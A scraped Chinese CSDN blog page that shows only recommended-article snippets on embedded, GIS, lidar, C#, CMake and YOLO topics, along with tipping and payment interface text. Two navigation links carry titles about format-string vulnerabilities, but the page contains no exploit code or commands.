智能车学习日记【二】————十字和斜入十字 文章目录 智能车学习日记【二】————十字和斜入十字 前言 一、普通十字补线 二、斜入十字 1.判断是否为斜入十字和斜入十字类型 2.找斜入十字拐点 总结 前言 经过了一个多月的学习,小白的我终于也是能较稳定调出了2.8m以上的四轮车,过程中也遇到了很多困难,其中就有十字补线和斜入十字补线。尤其是斜入十字也是困扰了我快一周,现在和大家分享一下我处理斜入十字的方法(我的方法其实还有很多漏洞需要改进,仅供大家参考理解一下,欢迎各位在评论区指点出可

bsefef的博客 2744

别再只用%d和%s了!:教你给GCC编译器注入新的printf格式支持(系统级编程精髓)

掌握C语言printf自定义格式符实现技巧,扩展GCC对printf的格式支持,适用于嵌入式日志、调试输出等场景。通过__attribute__((format))和自定义处理函数,安全高效增强打印功能,提升开发效率,值得收藏。

LiteCompile的博客 743

告别专业软件!用QGIS+GDAL免费搞定S-57电子海图,附全套符号库和样式文件

本文详细介绍了如何利用免费开源工具QGIS和GDAL处理S-57电子海图,包括数据转换、符号库配置和专业可视化方案。通过实战指南,用户无需依赖昂贵的商业软件,即可实现从S-57到SHP的转换及专业级海图制作,特别适合预算有限的个人和小型机构。

weixin_33701294的博客 391

大疆Livox Mid-70雷达的使用

一、前期准备 (一)、使用Livox Viewer测试雷达 1、设置静态IP sudo ifconfig enx081f7152092a 192.168.1.50 查看IP是否设置成功 lacyexsale@lacyexsale-KLV-WX9:~$ ifconfig enx081f7152092a Link encap:以太网 硬件地址 08:1f:71:52:09:2a inet 地址:192.168.1.50 广播:192.168.1.255 掩码:255.255.25

LacyExsale的博客 1万+

CSharpier:零配置C#代码格式化工具详解

代码格式化是提升代码可读性和团队协作效率的基础实践,其核心原理是通过静态分析构建抽象语法树(AST),再应用预设规则生成标准化代码布局。CSharpier作为基于Roslyn的现代化工具,通过智能语法树解析避免了传统正则表达式格式化工具的语义破坏风险,特别适合在CI/CD流水线中实现自动化代码风格校验。该工具采用零配置设计,默认遵循C#社区广泛接受的代码规范约定,同时支持通过.editorconfig文件进行团队自定义。在Visual Studio生态中,CSharpier能无缝集成实时格式化、批量处理等功

weixin_33736832的博客 316

基于51单片机的多功能智能路灯控制系统(仿真+代码+原理图)

智能路灯控制系统主要由51单片机最小系统+1602显示模块+DS1302时钟模块+光强检测模块+按键输入模块+声光报警模块+LED照明模块+状态检测电路+人体车辆红外检测模块组成。能实现以下功能: 1.能够按键设定系统时间、工作时间、光照阈值 2.工作时间内路灯点亮,凌晨12点后路灯关闭,有人或车通过是,路灯点亮10s 3.非工作时间光照强度低于阈值,路灯点亮 4.能够检测系统工作状态,路灯应亮未亮,声光报警 5.具备手动控制,能够切换自动/手动控制功能

u012759563的博客 8182

Chrome扩展开发:JSON格式化工具实现指南

JSON作为轻量级数据交换格式,广泛应用于前后端数据传输和配置存储。其核心原理基于键值对结构和严格的语法规则,但在原始压缩格式下可读性较差。通过Chrome扩展开发技术,可以构建一键格式化工具,实现JSON数据的即时美化与压缩转换。这类工具采用Manifest V3规范设计架构,结合内容脚本注入和Service Workers等现代Web技术,能在浏览器任意页面上下文操作JSON数据。典型应用场景包括API调试、本地存储查看和网络请求分析,显著提升开发效率。本文以JSON Formatter Pro为例,详

weixin_30587927的博客 296

CMake入门教程【基础篇】在Windows、Linux上安装CMake

CMake如何下载与安装

小鱼酱的博客 2727

YOLOv12涨点优化:自研检测头 | 独家创新(Partial_C_v12Detect)检测头结构创新,实现涨点

现有12Detect进行二次创新,提升检测精度,独家创新(Partial_C_12Detect)检测头结构创新,适合科研创新度十足,强烈推荐

①答疑群聊服务;②YOLO大模型知识问答系统;③计算机视觉论文生成智能体; 633
上一篇: 【分析】非安全编程演示之格式化字符串篇
下一篇: 【分析】利用格式化串覆盖*printf()系列函数本身的返回地址
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值